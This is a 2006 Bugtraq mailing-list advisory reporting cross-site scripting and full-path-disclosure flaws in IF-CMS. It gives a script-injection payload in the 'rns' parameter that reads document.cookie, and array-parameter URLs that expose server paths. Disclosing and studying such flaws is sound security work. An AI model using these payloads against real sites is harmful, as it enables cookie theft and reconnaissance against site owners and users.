Bugtraq mailing list archives

IF-CMS multiples XSS vunerabilities

From: saps.audit () gmail com
Date: 4 Nov 2006 19:11:55 -0000

vendor site: http://www.rhadrix.com/
risk : low 

xss =
/index.php?rns=</title><script>alert(document.cookie)</script>

full path ( array )
/index.php?rns[]=
/index.php?pag[]=

benjamin mossé & laurent gaffié
http://s-a-p.ca/

Current thread:

IF-CMS multiples XSS vunerabilities saps . audit (Nov 04)